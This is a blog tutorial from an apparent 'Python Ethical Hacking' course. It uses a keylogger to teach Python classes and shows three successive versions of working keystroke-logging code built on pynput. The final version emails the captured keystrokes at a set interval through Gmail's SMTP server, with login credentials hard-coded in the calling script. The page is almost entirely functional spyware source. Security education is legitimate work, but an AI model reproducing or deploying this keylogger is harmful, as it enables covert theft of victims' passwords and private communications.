zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    Object-Oriented Programming

    Keylogger Classes

    • Way of modeling program(blueprint).
    • Logically group functions and data.
      • Makes code more readable.
      • More reusable.
      • Separate implementation from usage(encapsulation).
      • Easier to extend.
      • Easier to maintain.

    The Keylogger Class:

    #!/usr/bin/env python
    import threading
    
    import pynput.keyboard
    
    log = ""
    
    
    class Keylogger:
        def process_key_press(self, key):
            global log
            try:
                log = log + str(key.char)
            except AttributeError:
                if key == key.space:
                    log = log + " "
                else:
                    log = log + " " + str(key) + " "
    
        def report(self):
            global log
            print(log)
            log = ""
            timer = threading.Timer(10, self.report)
            timer.start()
    
        def start(self):
            keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
            with keyboard_listener:
                self.report()
                keyboard_listener.join()

    The main Python program calling the Keylogger Class:

    #!/usr/bin/env python
    import keylogger
    
    my_keylogger = keylogger.Keylogger()
    my_keylogger.start()

     Constructor Method & Instance Variables:

    • AKA initialization method.
    • Gets executed automatically when a class is created.
    #!/usr/bin/env python
    import threading
    
    import pynput.keyboard
    
    
    class Keylogger:
        def __init__(self):
            self.log = ""
    
        def append_to_log(self, string):
            self.log = self.log + string
    
        def process_key_press(self, key):
            try:
                current_key = str(key.char)
            except AttributeError:
                if key == key.space:
                    current_key = " "
                else:
                    current_key = " " + str(key) + " "
            self.append_to_log(current_key)
    
        def report(self):
            print(self.log)
            self.log = ""
            timer = threading.Timer(10, self.report)
            timer.start()
    
        def start(self):
            keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
            with keyboard_listener:
                self.report()
                keyboard_listener.join()

    Polish the Python Class Code once more to log Key-strikes and report them by email.

    #!/usr/bin/env python
    import threading
    import smtplib
    import pynput.keyboard
    
    
    class Keylogger:
        def __init__(self, time_interval, email, password):
            self.log = "Keylogger started"
            self.interval = time_interval
            self.email = email
            self.password = password
    
        def append_to_log(self, string):
            self.log = self.log + string
    
        def process_key_press(self, key):
            try:
                current_key = str(key.char)
            except AttributeError:
                if key == key.space:
                    current_key = " "
                else:
                    current_key = " " + str(key) + " "
            self.append_to_log(current_key)
    
        def report(self):
            print(self.log)
            self.send_mail(self.email, self.password, "
    
    " + self.log)
            self.log = ""
            timer = threading.Timer(self.interval, self.report)
            timer.start()
    
        def send_mail(self, email, password, message):
            server = smtplib.SMTP("smtp.gmail.com", 587)
            server.starttls()
            server.login(email, password)
            server.sendmail(email, email, message)
            server.quit()
    
        def start(self):
            keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
            with keyboard_listener:
                self.report()
                keyboard_listener.join()

    Main program:

    #!/usr/bin/env python
    import keylogger
    
    my_keylogger = keylogger.Keylogger(120, "aaaa@gmail.com", "12345678")
    my_keylogger.start()

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    对PostgreSQL中bufmgr.c 中 bufs_to_lap的初步理解
    bgwriter 的睡眠时间差异
    对PostgreSQL中bufmgr.c 中 num_to_scan 的初步理解
    对PostgreSQL中bufmgr.c的进一步学习
    PHP 接收长url并重定向
    Request.ServerVariables小结
    Kiss Asp Framework 0.2.0RC Releaseed
    FLV编码、转换、录制、播放方案
    ASP错误信息
    Gzip简介
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11624365.html
Copyright © 2011-2022 走看看